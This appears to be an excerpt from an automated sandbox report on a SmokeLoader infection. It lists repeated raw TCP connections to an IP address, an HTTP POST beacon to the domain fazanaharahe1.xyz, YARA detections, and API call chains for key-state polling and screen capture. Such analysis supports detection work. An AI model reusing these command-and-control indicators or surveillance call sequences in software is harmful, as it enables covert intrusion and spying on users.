d3 f0 3d a5 5c 24 a9 f6 c6 e3 f2 71 63 65 b4 4c 81 d4 5a e6 de f9 2e 1f 86 60 c0 32 91 14 5e 85 ac 9b 61 12 a4 27 f0 88 9e 02 59 45 bc ea 94 29 99 89 88 1c 85 17 d1 79 3c 9a f6 2c 03 55 c8 d4 ea 76 a7 a5 54 42 0b 59 78 2c 00 a6 5a f3 29 ca 18 9f 82 07 2b 11 e9 d4 1b b9 ee ab cd df 73 1e 09 46 58 96 3d 01 fb a8 6f fa 34 67 55 22 8a 41 63 91 37 3c e3 f9 74 c9 2b 2d 42 96 59 5b 41 a0 f5 38 ce 24 d3 5e c6 63 bd d9 30 14 74 82 cf d3 a7 c6 b1 88 87 b2 62 8d 2d 75 01 ce 64 a2 e0 3d ef 77 18 9a b4 79 47 ae 1b f6 29 e0 48 90 fe 79 14 4d f8 f8 7c 8f 24 de 21 b9 70 dd fe f9 df 66 8e 49 ad cd 70 20 a3 f5 89 8e 4e d8 49 79 32 4c 4d 8e 63 96 8b 6c ed b1 4a b0 ec 44 b1 42 0d 20 75 22 de 20 ed 53 c0 c2 87 a4 92 e0 81 77 14 c7 f1 b4 b3 d4 b5 81 f2 5c 08 86 4c da 54 7b 80 15 32 72 e1 e1 6e 74 f4 84 4e 0f 6c 74 87 13 9e 83 c1 2c 5c e4 64 ef 68 04 c8 d8 c4 b2 ca 9f 6c f4 2d 60 c6 2e 26 38 6d 9d 1b 9d 9d 4d a2 9f 36 c3 4c e9 36 65 af 11 6d cd c6 2e e7 70 0c 89 6b 6d 82 ec 93 33 34 09 9f fb e9 34 0c 16 1d a7 17 3f 01 05 86 a5 b1 89 3c 0b 0a aa f2 62 19 d6 ea 49 d6 1a 7d f0 0a 59 70 dc 0f 2c 6a b7 88 9d 5a 18 b7 e9 63 51 c8 5d 72 74 ee 9e 9f 9d b3 ed af d9 9f b6 b1 18 4e 00 74 fd 7b 62 cc 39 3b 60 ce 21 68 a2 25 1e 0b b5 58 f2 9d ec 19 2d 1b 9e 9b ac af 8c b6 40 66 91 bd 50 08 10 70 a6 ca 59 b6 11 45 59 eb 1d 78 88 22 05 8d 00 db 36 19 a7 c1 68 c4 26 d3 7d ac 37 d1 60 Data Ascii: Xr6~O%R]6\7>;}$H&%vd%"?.=!^:3\|yBYrf>M.=Qas6UK8%+bp,

Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.56.146.41

Source: svchost.exe, 0000001A.00000003.803864162.000002A87A364000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType": equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001A.00000003.803864162.000002A87A364000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType": equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001A.00000003.804024263.000002A87A380000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU" equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001A.00000003.804024263.000002A87A380000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU" equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001A.00000003.804081259.000002A87A390000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-09-03T08:13:47.6485296Z\|\|.\|\|9eff4c9e-5599-4773-81dc-0299af880dd5\|\|1152921505693851877\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001A.00000003.804081259.000002A87A390000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-09-03T08:13:47.6485296Z\|\|.\|\|9eff4c9e-5599-4773-81dc-0299af880dd5\|\|1152921505693851877\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: is absolutely free to play, you have the ability to unlock optional bonuses via in-app purchases from within the game. You may disable in-app purchases in your device settings.\r\n______________________________\r\n\r\nVisit us: www.g5e.com\r\nWatch us: www.youtube.com/g5enter\r\nFind us: www.facebook.com/HiddenCityGame\r\nFollow us: www.twitter.com/g5games\r\nJoin us: www.instagram.com/hiddencity_\r\nGame FAQs: https://support.g5e.com/hc/en-us/categories/360002985040-Hidden-City-Hidden-Object-Adventure\r\nTerms of Service: http://www.g5e.com/termsofservice\r\nG5 End User License Supplemental Terms: http://www.g5e.com/G5_End_User_License_Supplemental_Terms","ProductTitle":"Hidden City: Hidden Object Adventure","SearchTitles":[{"SearchTitleString":"find hidden objects ","SearchTitleType":"SearchHint"},{"SearchTitleString":"junes pearls free ","SearchTitleType":"SearchHint"},{"SearchTitleString":"ispy notes peril","SearchTitleType":"SearchHint"},{"SearchTitleString":"seekers mystery ","SearchTitleType":"SearchHint"},{"SearchTitleString":"detective manor solving","SearchTitleType":"SearchHint"},{"SearchTitleString":"sherlock hotel spot it","SearchTitleType":"SearchHint"},{"SearchTitleString":"puzzle game journey ","SearchTitleType":"SearchHint"}],"Language":"en","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductGame;1","ProductId":"9NBLGGH6J6VK","Properties":{"PackageFamilyName":"828B5831.HiddenCityMysteryofShadows_ytsefhwckbdv6","PackageIdentityName":"828B5831.HiddenCityMysteryofShadows","PublisherCertificateName":"CN=A4F05332-BE3A-4155-B996-B100171CD4B1","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"Legac
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: is absolutely free to play, you have the ability to unlock optional bonuses via in-app purchases from within the game. You may disable in-app purchases in your device settings.\r\n______________________________\r\n\r\nVisit us: www.g5e.com\r\nWatch us: www.youtube.com/g5enter\r\nFind us: www.facebook.com/HiddenCityGame\r\nFollow us: www.twitter.com/g5games\r\nJoin us: www.instagram.com/hiddencity_\r\nGame FAQs: https://support.g5e.com/hc/en-us/categories/360002985040-Hidden-City-Hidden-Object-Adventure\r\nTerms of Service: http://www.g5e.com/termsofservice\r\nG5 End User License Supplemental Terms: http://www.g5e.com/G5_End_User_License_Supplemental_Terms","ProductTitle":"Hidden City: Hidden Object Adventure","SearchTitles":[{"SearchTitleString":"find hidden objects ","SearchTitleType":"SearchHint"},{"SearchTitleString":"junes pearls free ","SearchTitleType":"SearchHint"},{"SearchTitleString":"ispy notes peril","SearchTitleType":"SearchHint"},{"SearchTitleString":"seekers mystery ","SearchTitleType":"SearchHint"},{"SearchTitleString":"detective manor solving","SearchTitleType":"SearchHint"},{"SearchTitleString":"sherlock hotel spot it","SearchTitleType":"SearchHint"},{"SearchTitleString":"puzzle game journey ","SearchTitleType":"SearchHint"}],"Language":"en","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductGame;1","ProductId":"9NBLGGH6J6VK","Properties":{"PackageFamilyName":"828B5831.HiddenCityMysteryofShadows_ytsefhwckbdv6","PackageIdentityName":"828B5831.HiddenCityMysteryofShadows","PublisherCertificateName":"CN=A4F05332-BE3A-4155-B996-B100171CD4B1","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"Legac
Source: svchost.exe, 0000001A.00000003.788932714.000002A87A37E000.00000004.00000001.sdmp	String found in binary or memory: is absolutely free to play, you have the ability to unlock optional bonuses via in-app purchases from within the game. You may disable in-app purchases in your device settings.\r\n______________________________\r\n\r\nVisit us: www.g5e.com\r\nWatch us: www.youtube.com/g5enter\r\nFind us: www.facebook.com/HiddenCityGame\r\nFollow us: www.twitter.com/g5games\r\nJoin us: www.instagram.com/hiddencity_\r\nGame FAQs: https://support.g5e.com/hc/en-us/categories/360002985040-Hidden-City-Hidden-Object-Adventure\r\nTerms of Service: http://www.g5e.com/termsofservice\r\nG5 End User License Supplemental Terms: http://www.g5e.com/G5_End_User_License_Supplemental_Terms","ProductTitle":"Hidden City: Hidden Object Adventure","SearchTitles":[{"SearchTitleString":"find hidden objects ","SearchTitleType":"SearchHint"},{"SearchTitleString":"junes pearls free ","SearchTitleType":"SearchHint"},{"SearchTitleString":"ispy notes peril","SearchTitleType":"SearchHint"},{"SearchTitleString":"seekers mystery ","SearchTitleType":"SearchHint"},{"SearchTitleString":"detective manor solving","SearchTitleType":"SearchHint"},{"SearchTitleString":"sherlock hotel spot it","SearchTitleType":"SearchHint"},{"SearchTitleString":"puzzle game journey ","SearchTitleType":"SearchHint"}],"Language":"en","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductGame;1","ProductId":"9NBLGGH6J6VK","Properties":{"PackageFamilyName":"828B5831.HiddenCityMysteryofShadows_ytsefhwckbdv6","PackageIdentityName":"828B5831.HiddenCityMysteryofShadows","PublisherCertificateName":"CN=A4F05332-BE3A-4155-B996-B100171CD4B1","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"Legac

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fazanaharahe1.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: fazanaharahe1.xyz

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000B.00000002.760396326.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.711202334.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 13.2.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.1.C612.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.C612.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.DWVByMCYL8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DWVByMCYL8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.geedrvu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.665181950.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000001.748020468.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com

Code function: 21_2_01182714 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

21_2_01182714

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: 30_2_0042B2AF __EH_prolog,GdiplusStartup,GetDesktopWindow,GetWindowRect,GetWindowDC,GetDeviceCaps,CreateCompatibleDC,CreateDIBSection,DeleteDC,DeleteDC,DeleteDC,SaveDC,SelectObject,BitBlt,RestoreDC,DeleteDC,DeleteDC,DeleteDC,GdipAlloc,GdipCreateBitmapFromHBITMAP,_mbstowcs,GdipSaveImageToFile,DeleteObject,GdiplusShutdown,

30_2_0042B2AF

Source: 55AD.exe, 00000014.00000002.1001032922.0000000000A09000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

